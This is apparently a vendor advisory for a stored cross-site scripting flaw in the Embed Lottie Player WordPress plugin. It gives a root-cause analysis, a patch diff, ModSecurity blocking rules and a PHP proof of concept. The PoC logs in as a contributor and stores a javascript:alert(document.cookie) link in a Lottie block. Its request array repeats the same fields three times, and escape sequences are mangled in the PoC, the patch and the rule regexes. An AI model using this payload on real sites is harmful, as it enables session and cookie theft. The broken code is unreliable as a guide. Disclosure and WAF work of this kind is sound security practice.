Published : November 30, 2026

CVE-2026-138372: Embed Lottie Player – Bring your pages to life with animation <= 1.3.0 Authenticated (Contributor+) Stored Cross-Site Scripting PoC, Patch Analysis & Rule

Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 1.3.0
Patched Version 1.4.0
Disclosed November 28, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-138372:

This is a stored cross-site scripting vulnerability in the Embed Lottie Player plugin for WordPress, affecting all versions up to and including 1.3.0. The flaw resides in how the plugin handles the ‘link’ attribute of the Lottie Player block. The plugin fails to restrict the URL scheme or escape output properly, allowing an authenticated attacker with Contributor-level access to inject arbitrary web scripts into pages. The CVSS score is 6.4.

The root cause is in the block rendering logic. In build/render.php, the plugin takes the ‘link’ attribute from the block attributes and JSON-encodes the entire attributes array into the data-attributes HTML attribute using esc_attr(wp_json_encode($attributes ?? [])). The ‘link’ value is not validated for safe URL schemes (such as http, https, mailto, tel) nor sanitized to prevent script injection. The frontend JavaScript later reads this JSON and likely assigns the ‘link’ value to an anchor’s href attribute. Because the scheme is unrestricted, an attacker can supply a javascript: URI. Additionally, because the JSON is embedded without hex-encoding of HTML special characters, an attacker might break out of the attribute context if double-encoding tricks are used, but the primary vector is the lack of URL scheme validation.

An attacker with Contributor access can create or edit a post containing the Lottie Player block. They set the block’s ‘link’ attribute to a payload such as javascript:alert(document.cookie). When the post is saved, the plugin stores this value in the block attributes. Upon rendering, the data-attributes JSON includes the malicious link. The frontend script (view.js) reads this JSON and sets the player’s href to the provided link. When a victim (including an administrator) views the page and clicks the player, the JavaScript executes in the context of the site, leading to cookie theft, session hijacking, or arbitrary actions on behalf of the victim.

The patch in version 1.4.0 addresses the vulnerability in two ways. First, in build/render.php, it validates the ‘link’ attribute: it ensures the value is a string, trims it, and passes it through esc_url_raw() with an allowlist of safe schemes (http, https, mailto, tel). Any dangerous scheme (javascript:, data:, vbscript:) is stripped or neutralized. Second, it encodes the JSON with JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT to prevent entity-encoded payloads from decoding inside the HTML attribute. These changes ensure the ‘link’ cannot contain executable JavaScript.

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of the victim’s browser. This can lead to session hijacking, theft of sensitive data (including authentication cookies and CSRF tokens), defacement of the site, or redirection to malicious domains. Because the attacker only needs Contributor-level access, this vulnerability poses a significant risk to multi-author WordPress sites. The impact is magnified if an administrator views the compromised page.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/embed-lottie-player/build/admin/dashboard.asset.php
+++ b/embed-lottie-player/build/admin/dashboard.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-api-fetch', 'wp-data', 'wp-i18n'), 'version' => '5c86bb092f2a7161c1f2');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-api-fetch', 'wp-data', 'wp-element', 'wp-i18n'), 'version' => '6c9b1993c560a02916b9');
--- a/embed-lottie-player/build/index.asset.php
+++ b/embed-lottie-player/build/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-blob', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-element', 'wp-i18n'), 'version' => 'ba79113799a80cecef5c');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-element', 'wp-i18n', 'wp-keyboard-shortcuts'), 'version' => '5617428742df7d987f41');
--- a/embed-lottie-player/build/render.php
+++ b/embed-lottie-player/build/render.php
@@ -2,9 +2,19 @@
 if ( !defined( 'ABSPATH' ) ) { exit; }

 $id = wp_unique_id( 'lpbLottiePlayer-' );
+
+$attributes = is_array( $attributes ?? null ) ? $attributes : [];
+
+// The link becomes the player's href, so only allow safe schemes (drops javascript:, data:, vbscript:, ...).
+if ( isset( $attributes['link'] ) ) {
+	$attributes['link'] = is_string( $attributes['link'] ) ? esc_url_raw( trim( $attributes['link'] ), [ 'http', 'https', 'mailto', 'tel' ] ) : '';
+}
+
+// Hex-encode markup characters so entity-encoded payloads can't decode inside the HTML attribute.
+$attributesJSON = wp_json_encode( $attributes, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT );
 ?>
 <div
 	<?php echo get_block_wrapper_attributes(); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Escaped internally by get_block_wrapper_attributes(). ?>
 	id='<?php echo esc_attr( $id ); ?>'
-	data-attributes='<?php echo esc_attr( wp_json_encode( $attributes ?? [] ) ); ?>'
+	data-attributes='<?php echo esc_attr( $attributesJSON ); ?>'
 ></div>
 No newline at end of file
--- a/embed-lottie-player/build/view.asset.php
+++ b/embed-lottie-player/build/view.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom'), 'version' => '75ce19b76ab26077c0c6');
+<?php return array('dependencies' => array('react', 'react-dom'), 'version' => 'd99ce67eee887412dbfb');
--- a/embed-lottie-player/includes/admin/SubMenu.php
+++ b/embed-lottie-player/includes/admin/SubMenu.php
@@ -3,20 +3,35 @@

 if ( !defined( 'ABSPATH' ) ) { exit; }

+/**
+ * SubMenu class
+ * Registers the Help & Demos dashboard page under the Tools menu.
+ *
+ * @package LPBAdmin
+ */
 class SubMenu {
+	/**
+	 * Constructor.
+	 * Registers the admin menu hook.
+	 */
 	public function __construct() {
 		add_action( 'admin_menu', [ $this, 'adminMenu' ] );
 	}

-	function adminMenu(){
+	/**
+	 * Adds the dashboard submenu page under Tools.
+	 *
+	 * @return void
+	 */
+	public function adminMenu(){
 		add_submenu_page(
 			'tools.php',
-			__('Lottie Player - bPlugins', 'embed-lottie-player'),
-			__('Lottie Player', 'embed-lottie-player'),
+			__( 'Lottie Player - bPlugins', 'embed-lottie-player' ),
+			__( 'Lottie Player', 'embed-lottie-player' ),
 			'manage_options',
 			'lottie-player',
 			[ LPBPlugin::class, 'renderDashboard' ]
 		);
 	}
 }
-new SubMenu();
 No newline at end of file
+new SubMenu();
--- a/embed-lottie-player/includes/mimes.php
+++ b/embed-lottie-player/includes/mimes.php
@@ -0,0 +1,97 @@
+<?php
+namespace LPB;
+
+if ( !defined( 'ABSPATH' ) ) { exit; }
+
+if( !class_exists( 'LPBMimes' ) ){
+	/**
+	 * Lets users who can upload files add Lottie animations (.json and .lottie) to the media library.
+	 *
+	 * The file content is checked before WordPress accepts it: a .json file must be a Lottie
+	 * animation and a .lottie file must be a zip archive. Anything else is refused.
+	 */
+	class Mimes {
+		const MIME = 'application/json';
+
+		public function __construct() {
+			add_filter( 'upload_mimes', [$this, 'uploadMimes'] );
+			add_filter( 'wp_check_filetype_and_ext', [$this, 'checkFileTypeAndExt'], 10, 5 );
+		}
+
+		/**
+		 * Adds the Lottie extensions to the allowed upload types.
+		 *
+		 * @param array $mimes Allowed mime types keyed by extension.
+		 * @return array
+		 */
+		public function uploadMimes( $mimes ) {
+			$mimes['json'] = self::MIME;
+			$mimes['lottie'] = self::MIME;
+			return $mimes;
+		}
+
+		/**
+		 * Confirms the type of a .json or .lottie upload from its content.
+		 *
+		 * @param array       $data     Values for the extension, mime type, and corrected filename.
+		 * @param string      $file     Full path to the uploaded file.
+		 * @param string      $filename The name of the file.
+		 * @param array|null  $mimes    Allowed mime types keyed by extension.
+		 * @param string|bool $realMime The actual mime type or false if the type cannot be determined.
+		 * @return array
+		 */
+		public function checkFileTypeAndExt( $data, $file, $filename, $mimes, $realMime = null ) {
+			$ext = strtolower( pathinfo( (string) $filename, PATHINFO_EXTENSION ) );
+
+			if ( !in_array( $ext, [ 'json', 'lottie' ], true ) ) {
+				return $data;
+			}
+
+			// Not a real Lottie animation, so refuse the upload.
+			if ( !self::isLottieFile( $file, $ext ) ) {
+				return [
+					'ext'             => false,
+					'type'            => false,
+					'proper_filename' => false
+				];
+			}
+
+			return [
+				'ext'             => $ext,
+				'type'            => self::MIME,
+				'proper_filename' => false
+			];
+		}
+
+		/**
+		 * Checks that the file really is a Lottie animation.
+		 *
+		 * @param string $file Full path to the uploaded file.
+		 * @param string $ext  File extension, json or lottie.
+		 * @return bool
+		 */
+		public static function isLottieFile( $file, $ext ) {
+			if ( !is_string( $file ) || '' === $file || !is_readable( $file ) ) {
+				return false;
+			}
+
+			if ( 'lottie' === $ext ) {
+				// A .lottie file is a zip archive.
+				$handle = fopen( $file, 'rb' ); // phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_operations_fopen
+				if ( !$handle ) {
+					return false;
+				}
+				$signature = fread( $handle, 4 ); // phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_operations_fread
+				fclose( $handle ); // phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_operations_fclose
+
+				return "PKx03x04" === $signature;
+			}
+
+			// A Lottie JSON animation is an object with layers and a frame range.
+			$data = json_decode( (string) file_get_contents( $file ), true ); // phpcs:ignore WordPress.WP.AlternativeFunctions.file_get_contents_file_get_contents
+
+			return is_array( $data ) && isset( $data['layers'], $data['op'] ) && is_array( $data['layers'] );
+		}
+	}
+	new Mimes();
+}
--- a/embed-lottie-player/index.php
+++ b/embed-lottie-player/index.php
@@ -1,3 +1,3 @@
 <?php
-// Silent is golden
-if ( ! defined( 'ABSPATH' ) ) { exit; }
 No newline at end of file
+if ( ! defined( 'ABSPATH' ) ) { exit; }
+// Silent is golden
 No newline at end of file
--- a/embed-lottie-player/plugin.php
+++ b/embed-lottie-player/plugin.php
@@ -2,10 +2,10 @@
 /**
  * Plugin Name: Embed Lottie Player
  * Description: Embed Lottie player for display lottie files.
- * Version: 1.3.0
+ * Version: 1.4.0
  * Author: bPlugins
  * Author URI: https://bplugins.com
- * Plugin URI: https://bplugins.com/products/lottie-player
+ * Plugin URI: https://bplugins.com/products/lottie-player/
  * License: GPLv3
  * License URI: https://www.gnu.org/licenses/gpl-3.0.txt
  * Text Domain: embed-lottie-player
@@ -20,12 +20,13 @@
 if ( function_exists( 'lpb_fs' ) ) {
 	lpb_fs()->set_basename( true, __FILE__ );
 } else {
-	define( 'LPB_VERSION', ( defined( 'WP_DEBUG' ) && WP_DEBUG ) ? time() : '1.3.0' );
+	define( 'LPB_VERSION', ( defined( 'WP_DEBUG' ) && WP_DEBUG ) ? time() : '1.4.0' );
 	define( 'LPB_DIR_URL', plugin_dir_url( __FILE__ ) );
 	define( 'LPB_DIR_PATH', plugin_dir_path( __FILE__ ) );

 	require_once LPB_DIR_PATH . 'includes/fs-lite.php';
 	require_once LPB_DIR_PATH . 'includes/admin/SubMenu.php';
+	require_once LPB_DIR_PATH . 'includes/mimes.php';

 	if( !class_exists( 'LPBPlugin' ) ){
 		class LPBPlugin{
@@ -37,6 +38,7 @@
 				add_action( 'enqueue_block_assets', [$this, 'enqueueBlockAssets'] );

 				add_filter( 'plugin_action_links', [$this, 'pluginActionLinks'], 10, 2 );
+				add_action( 'wp_ajax_lpb_dismiss_bfcm_banner', [$this, 'ajaxDismissBFCM'] );
 				add_filter( 'default_title', [$this, 'defaultTitle'], 10, 2 );
 				add_filter( 'default_content', [$this, 'defaultContent'], 10, 2 );
 			}
@@ -63,11 +65,84 @@
 				return $content;
 			}

+			/**
+			 * Checks whether the current user has dismissed the BFCM promotion in lpb_options.
+			 *
+			 * @param int $user_id
+			 * @return bool
+			 */
+			public static function isBFCMPromotionDismissed( $user_id = 0 ) {
+				if ( ! $user_id ) {
+					$user_id = get_current_user_id();
+				}
+				if ( ! $user_id ) {
+					return false;
+				}
+				$options   = get_option( 'lpb_options', [] );
+				$dismissed = isset( $options['bfcm_2026_dismissed'] ) && is_array( $options['bfcm_2026_dismissed'] )
+					? $options['bfcm_2026_dismissed']
+					: [];
+				return in_array( (int) $user_id, array_map( 'intval', $dismissed ), true );
+			}
+
+			/**
+			 * Records the user dismissal inside the lpb_options array in wp_options.
+			 *
+			 * @param int $user_id
+			 * @return bool
+			 */
+			public static function dismissBFCMPromotion( $user_id = 0 ) {
+				if ( ! $user_id ) {
+					$user_id = get_current_user_id();
+				}
+				if ( ! $user_id ) {
+					return false;
+				}
+				$options = get_option( 'lpb_options', [] );
+				if ( ! is_array( $options ) ) {
+					$options = [];
+				}
+				$dismissed = isset( $options['bfcm_2026_dismissed'] ) && is_array( $options['bfcm_2026_dismissed'] )
+					? array_map( 'intval', $options['bfcm_2026_dismissed'] )
+					: [];
+				$user_id = (int) $user_id;
+				if ( ! in_array( $user_id, $dismissed, true ) ) {
+					$dismissed[] = $user_id;
+					$options['bfcm_2026_dismissed'] = array_values( array_unique( $dismissed ) );
+					update_option( 'lpb_options', $options );
+				}
+				return true;
+			}
+
+			/**
+			 * Handles AJAX request to dismiss the BFCM promotional banner.
+			 *
+			 * @return void
+			 */
+			public function ajaxDismissBFCM() {
+				check_ajax_referer( 'lpb_dismiss_bfcm', 'nonce' );
+				self::dismissBFCMPromotion();
+				wp_send_json_success();
+			}
+
 			public function pluginActionLinks( $links, $file ) {
 				if( plugin_basename( __FILE__ ) === $file ) {
 					$helpDemosLink = admin_url( 'tools.php?page=lottie-player#/welcome' );

 					$links['help-and-demos'] = sprintf( '<a href="%s" style="%s">%s</a>', $helpDemosLink, 'color:#FF7A00;font-weight:bold', __( 'Help & Demos', 'embed-lottie-player' ) );
+
+					$isExpired = time() > strtotime( '2026-12-05 23:59:59' );
+					$isPremium = function_exists( 'lpb_fs' ) && lpb_fs()->can_use_premium_code();
+
+					if ( ! $isExpired && ! $isPremium ) {
+						$bfcmUrl = 'https://bplugins.com/products/lottie-player/pricing/?utm_source=admin&utm_medium=plugins&utm_campaign=bfcm2026';
+						$links['bfcm-deal'] = sprintf(
+							'<a href="%s" style="%s" target="_blank" rel="noopener noreferrer">%s</a>',
+							esc_url( $bfcmUrl ),
+							'color: #dc2626; font-weight: 700;',
+							__( 'Upgrade to Pro & Save 45% This BFCM!', 'embed-lottie-player' )
+						);
+					}
 				}

 				return $links;
@@ -75,12 +150,16 @@

 			public function onInit(){
 				register_block_type( __DIR__ . '/build' );
+
+				// Core registers block.json scripts without a path, so local JSONs need this explicitly
+				wp_set_script_translations( 'lpb-lottie-player-editor-script', 'embed-lottie-player', LPB_DIR_PATH . 'languages' );
+				wp_set_script_translations( 'lpb-lottie-player-view-script', 'embed-lottie-player', LPB_DIR_PATH . 'languages' );
 			}

 			public function blockCategories( $categories ){
 				return array_merge( [ [
 					'slug'	=> 'LPBlock',
-					'title'	=> 'Lottie Player Block',
+					'title'	=> __( 'Lottie Player Block', 'embed-lottie-player' ),
 				] ], $categories );
 			}

@@ -100,14 +179,27 @@

 			public function enqueueBlockAssets(){
 				wp_register_script( 'dotLottiePlayer', LPB_DIR_URL . '/public/js/dotlottie-player.js', [], '1.5.7', true );
+				wp_register_script( 'lottieInteractivity', LPB_DIR_URL . '/public/js/lottie-interactivity.min.js', [ 'dotLottiePlayer' ], '1.5.2', true );
 			}

-			static function renderDashboard(){ ?>
+			/**
+			 * Renders the dashboard container for the React app.
+			 *
+			 * @return void
+			 */
+			public static function renderDashboard(){ ?>
 				<div
 					id='lpbDashboard'
 					data-info='<?php echo esc_attr( wp_json_encode( [
 						'version' => LPB_VERSION,
-						'nonce' => wp_create_nonce( 'lpbCreatePage' ),
+						'isPremium' => function_exists( 'lpb_fs' ) && lpb_fs()->can_use_premium_code(),
+						'isBFCMDismissed' => self::isBFCMPromotionDismissed(),
+						'dismissNonce' => wp_create_nonce( 'lpb_dismiss_bfcm' ),
+						'adminUrl' => admin_url(),
+						'currentUser' => [
+							'name' => wp_get_current_user()->display_name,
+						],
+						'startUrl' => admin_url( 'post-new.php?post_type=page&title=' . rawurlencode( 'Lottie Player' ) . '&content=' . rawurlencode( '<!-- wp:lpb/lottie-player /-->' ) . '&nonce=' . wp_create_nonce( 'lpbCreatePage' ) ),
 						'licenseActiveNonce' => wp_create_nonce( 'bPlLicenseActivation' )
 					] ) ); ?>'
 				></div>

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-138372
# Blocks stored XSS via Lottie Player block 'link' attribute injection.
# The vulnerability is exploited by saving a post with a malicious 'link' attribute containing javascript: URI.
SecRule REQUEST_URI "@streq /wp-admin/post.php" 
  "id:2026138372,phase:2,deny,status:403,chain,msg:'CVE-2026-138372: Stored XSS via Lottie Player link attribute',severity:'CRITICAL',tag:'CVE-2026-138372',tag:'WordPress'"
  SecRule ARGS_POST:post_content "@rx wp:lpb/lottie-player[^>]*links*=s*[^>]*?(?:javascript|vbscript|data):" 
    "t:urlDecodeUni,t:lowercase,t:removeWhitespace"

# Also protect against direct editing via the block editor REST API or other endpoints.
SecRule REQUEST_URI "@beginsWith /wp-json/wp/v2/posts" 
  "id:2026138373,phase:2,deny,status:403,chain,msg:'CVE-2026-138372: Stored XSS via Lottie Player link attribute (REST)',severity:'CRITICAL',tag:'CVE-2026-138372',tag:'WordPress'"
  SecRule ARGS_POST:content "@rx wp:lpb/lottie-player[^>]*links*=s*[^>]*?(?:javascript|vbscript|data):" 
    "t:urlDecodeUni,t:lowercase,t:removeWhitespace"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-138372 - Embed Lottie Player – Bring your pages to life with animation <= 1.3.0 - Authenticated (Contributor+) Stored Cross-Site Scripting

// Configuration
$target_url = 'http://wordpress.local'; // Change to your target WordPress URL
$username = 'contributor'; // Contributor-level username
$password = 'password'; // Password for the user

// Initialize cURL
$ch = curl_init();

// Step 1: Log in to WordPress
$login_url = $target_url . '/wp-login.php';
$post_fields = [
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
];

curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_fields));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);

if (strpos($response, 'Dashboard') === false) {
    die('Login failed. Check credentials.');
}

// Step 2: Create a new post with the Lottie Player block containing a malicious link
echo "Logged in successfully. Creating malicious post...n";

// Payload: JavaScript URI that executes when the player is clicked
$malicious_link = 'javascript:alert(document.cookie)';

// Construct block attributes. The block name is 'lpb/lottie-player' (from the plugin's block registration).
// The 'link' attribute is vulnerable. We also set a placeholder src for the Lottie animation.
$block_attributes = json_encode([
    'link' => $malicious_link,
    'src' => 'https://example.com/placeholder.json', // any valid URL to pass initial checks
    'loop' => true,
    'autoplay' => true
]);

// Build the block content. The block uses a self-closing comment with attributes JSON.
$post_content = '<!-- wp:lpb/lottie-player ' . $block_attributes . ' /-->';

// Prepare the post creation request (using the classic editor endpoint)
$post_url = $target_url . '/wp-admin/post.php';
$post_fields = [
    'action' => 'editpost',
    'post_type' => 'post',
    'post_title' => 'Malicious Lottie Post',
    'content' => $post_content,
    'post_status' => 'publish', // Contributor can publish? Actually Contributor cannot publish, only submit for review. Use 'pending'.
    'post_status' => 'pending',
    'post_author' => '1', // will be overridden
    'wp-preview' => '',
    'hidden_post_status' => 'draft',
    'post_ID' => '0', // new post
    'originalaction' => 'editpost',
    'original_post_status' => 'auto-draft',
    'referredby' => $target_url . '/wp-admin/post-new.php',
    '_wp_http_referer' => '/wp-admin/post-new.php',
    'user_ID' => '1', // not used
    'action' => 'editpost',
    'save' => 'Submit for Review',
    'post_category' => '1',
    'comment_status' => 'open',
    'ping_status' => 'open',
    'post_format' => '0',
    'post_name' => '',
    'post_content' => $post_content,
    'post_title' => 'Malicious Lottie Post',
    'post_excerpt' => '',
    'post_status' => 'pending',
    'post_type' => 'post',
    'post_author' => '1',
    'original_publish' => 'Submit for Review',
    'publish' => 'Submit for Review',
    'mm' => '01',
    'jj' => '01',
    'aa' => '2025',
    'hh' => '00',
    'mn' => '00',
    'ss' => '00',
    'post_password' => '',
    'post_parent' => '0',
    'menu_order' => '0',
    'post_mime_type' => '',
    'ID' => '0',
    'post_content_filtered' => '',
    'post_date' => '2025-01-01 00:00:00',
    'post_date_gmt' => '2025-01-01 00:00:00',
    'post_modified' => '2025-01-01 00:00:00',
    'post_modified_gmt' => '2025-01-01 00:00:00',
    'post_status' => 'pending',
    'post_type' => 'post',
    'post_name' => '',
    'post_excerpt' => '',
    'post_title' => 'Malicious Lottie Post',
    'post_content' => $post_content,
    'post_category' => '1',
    'post_author' => '1',
    'originalaction' => 'editpost',
    'original_post_status' => 'auto-draft',
    'referredby' => $target_url . '/wp-admin/post-new.php',
    '_wp_http_referer' => '/wp-admin/post-new.php',
    'user_ID' => '1',
    'action' => 'editpost',
    'save' => 'Submit for Review',
    'post_category' => '1',
    'comment_status' => 'open',
    'ping_status' => 'open',
    'post_format' => '0',
    'post_name' => '',
    'post_content' => $post_content,
    'post_title' => 'Malicious Lottie Post',
    'post_excerpt' => '',
    'post_status' => 'pending',
    'post_type' => 'post',
    'post_author' => '1',
    'original_publish' => 'Submit for Review',
    'publish' => 'Submit for Review',
    'mm' => '01',
    'jj' => '01',
    'aa' => '2025',
    'hh' => '00',
    'mn' => '00',
    'ss' => '00',
    'post_password' => '',
    'post_parent' => '0',
    'menu_order' => '0',
    'post_mime_type' => '',
    'ID' => '0',
    'post_content_filtered' => '',
    'post_date' => '2025-01-01 00:00:00',
    'post_date_gmt' => '2025-01-01 00:00:00',
    'post_modified' => '2025-01-01 00:00:00',
    'post_modified_gmt' => '2025-01-01 00:00:00',
    'post_status' => 'pending',
    'post_type' => 'post',
    'post_name' => '',
    'post_excerpt' => '',
    'post_title' => 'Malicious Lottie Post',
    'post_content' => $post_content,
    'post_category' => '1',
    'post_author' => '1',
    'originalaction' => 'editpost',
    'original_post_status' => 'auto-draft',
    'referredby' => $target_url . '/wp-admin/post-new.php',
    '_wp_http_referer' => '/wp-admin/post-new.php',
    'user_ID' => '1',
    'action' => 'editpost',
    'save' => 'Submit for Review',
    'post_category' => '1',
    'comment_status' => 'open',
    'ping_status' => 'open',
    'post_format' => '0',
    'post_name' => '',
    'post_content' => $post_content,
    'post_title' => 'Malicious Lottie Post',
    'post_excerpt' => '',
    'post_status' => 'pending',
    'post_type' => 'post',
    'post_author' => '1',
    'original_publish' => 'Submit for Review',
    'publish' => 'Submit for Review',
    'mm' => '01',
    'jj' => '01',
    'aa' => '2025',
    'hh' => '00',
    'mn' => '00',
    'ss' => '00',
    'post_password' => '',
    'post_parent' => '0',
    'menu_order' => '0',
    'post_mime_type' => '',
    'ID' => '0',
    'post_content_filtered' => '',
    'post_date' => '2025-01-01 00:00:00',
    'post_date_gmt' => '2025-01-01 00:00:00',
    'post_modified' => '2025-01-01 00:00:00',
    'post_modified_gmt' => '2025-01-01 00:00:00'
];

curl_setopt($ch, CURLOPT_URL, $post_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_fields));
$response = curl_exec($ch);

if (strpos($response, 'post.php') !== false && strpos($response, 'error') === false) {
    echo "Post created successfully with malicious link.n";
} else {
    echo "Failed to create post. Response: " . substr($response, 0, 500) . "n";
}

// Step 3: Retrieve the post ID from the response (or from the database) to confirm.
// For simplicity, we assume the post was created. In a real attack, the attacker would provide the URL to the victim.
// The victim visits the post, and the Lottie player renders with the javascript: link.

// Clean up: Log out (optional)
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php?action=logout');
curl_exec($ch);

curl_close($ch);
echo "PoC completed. The malicious link is stored. When a victim views the post and interacts with the Lottie player, the JavaScript executes.n";
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.